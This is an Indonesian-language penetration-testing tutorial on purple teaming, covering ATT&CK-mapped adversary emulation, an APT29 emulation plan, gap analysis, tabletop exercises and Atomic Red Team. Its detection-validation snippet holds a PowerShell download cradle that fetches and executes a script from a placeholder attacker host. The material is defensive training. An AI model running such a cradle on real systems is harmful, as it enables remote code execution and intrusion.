Belajar Penetration Tester - Purple Team & Adversary Simulation

#Pendahuluan

Setelah di episode 22 kita mempelajari AI-assisted pentesting — LLM untuk recon, code analysis, dan AI red teaming — pada episode ini kita fokus pada purple team: pendekatan kolaboratif di mana red team dan blue team bekerja sama untuk memperkuat pertahanan organisasi.

Purple team bukan tim terpisah — ia adalah mentalitas kerja sama. Dalam purple team exercise, red team menjalankan serangan sementara blue team memantau dan menganalisis deteksi secara real-time. Hasilnya: gap identification yang actionable dan detection rules yang lebih baik.

#Adversary Emulation

#Konsep

Adversary emulation adalah mensimulasikan TTP (Tactics, Techniques, and Procedures) dari threat actor spesifik — bukan sekadar "mencari kerentanan", tetapi "berperilaku seperti APT tertentu".

#Mapping ke MITRE ATT&CK

Threat Actor	TTP Characteristics	Tools
APT29 (Cozy Bear)	Supply chain, credential access	WellMess, SUNBURST
APT41 (Double Dragon)	Initial access via RDP, supply chain	PlugX, ShadowPad
FIN7	Spearphishing, lateral movement	Carbanak, JScript
Lazarus	Spearphishing, custom malware	HOPLIGHT, DTrack

#Emulation Plan

yaml

adversary_emulation_plan:
  name: "APT29 Emulation"
  scope: "Production network (selected segments)"
  duration: "2 weeks"
  
  phases:
    - name: "Initial Access"
      technique: "T1566.001 - Spearphishing Attachment"
      tools: ["Custom macro document"]
      detection: "Email gateway, sandbox"
    
    - name: "Execution"
      technique: "T1059.001 - PowerShell"
      tools: ["PowerShell Empire"]
      detection: "EDR, script block logging"
    
    - name: "Persistence"
      technique: "T1053.005 - Scheduled Task"
      tools: ["schtasks.exe"]
      detection: "Sysmon, Windows Event Log"
    
    - name: "Lateral Movement"
      technique: "T1021.002 - SMB/Windows Admin Shares"
      tools: ["PsExec", "CrackMapExec"]
      detection: "Network monitoring, Event Log 4624"

#Purple Team Exercise

#Workflow

100%

#Gap Analysis

text

Gap Analysis Template
======================
1. Attack executed: [T1566.001 - Spearphishing]
2. Expected detection: Email gateway sandbox
3. Actual detection: NOT DETECTED
4. Gap: Missing sandbox analysis for macro documents
5. Remediation: Enable sandbox in email gateway
6. Validation: Red team re-test after remediation

#Detection Validation

python

# Contoh: validasi detection rule
# Blue team punya rule untuk mendeteksi PowerShell download cradle
 
# Red team test
payload = "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"
 
# Blue team monitor di SIEM
# Query: EventID 4104 (Script Block Logging) + "DownloadString"
 
# Jika terdeteksi: rule works
# Jika tidak: gap → improve rule

#Tabletop Exercises

#Scenarios

Scenario	Tujuan
Ransomware outbreak	Test IR process, backup recovery
Data breach exfiltration	Test detection & containment
Supply chain compromise	Test third-party risk management
Insider threat	Test access controls & monitoring

#Tabletop Format

text

Tabletop Exercise Structure
============================
1. Scenario briefing (15 min)
   - Deskripsikan situasi serangan
 
2. Discussion phase (60 min)
   - "Apa yang kalian lakukan pertama?"
   - "Siapa yang dihubungi?"
   - "Bagaimana containment?"
 
3. Inject phase (30 min)
   - Tambahkan komplikasi (misal: backup corrupt)
 
4. Debrief (30 min)
   - Identifikasi gap
   - Action items untuk improvement

#Atomic Red Team

Atomic Red Team adalah library test cases yang bisa dijalankan untuk memvalidasi deteksi:

bash

# Install
git clone https://github.com/redcanaryco/atomic-red-team
cd atomic-red-team
 
# Jalankan test spesifik (misal: T1053.005 - Scheduled Task)
.\invoke-atomicredteam.ps1 -TestGUID <guid> -GetPrereqs
 
# Jalankan semua tests
.\invoke-atomicredteam.ps1 -TestGUID <guid> -CheckPrereqs

Note

Atomic Red Team mempunyai 300+ test cases yang map langsung ke MITRE ATT&CK. Jalankan secara berkala untuk memastikan detection rules tetap efektif setelah perubahan environment.

#Metrics & Reporting

#Purple Team Metrics

text

Detection Metrics
==================
- Total ATT&CK techniques emulated: 45
- Detected: 32 (71%)
- Not detected: 13 (29%)
- Mean time to detect (MTTD): 15 minutes
- Mean time to respond (MTTR): 45 minutes
 
Top undetected:
- T1059.001 (PowerShell): 0% detection
- T1053.005 (Scheduled Task): 33% detection

#Praktik: Purple Team Exercise

bash

# 1. Jalankan Atomic Red Team test
# 2. Blue team monitor SIEM/EDR
# 3. Document: detected / not detected
# 4. Gap analysis
# 5. Improve detection rules
# 6. Re-test

#Penutup

Inti yang harus dibawa pulang:

Adversary emulation: mensimulasikan TTP threat actor spesifik menggunakan MITRE ATT&CK.
Purple team: red executes, blue detects, both improve.
Gap analysis: identifikasi detection gap → remediation → re-test.
Atomic Red Team: 300+ test cases untuk validasi deteksi.

Di episode 24 selanjutnya, kita akan mempelajari bug bounty & real-world practice — bagaimana memulai karir bug bounty, program populer, dan responsible disclosure.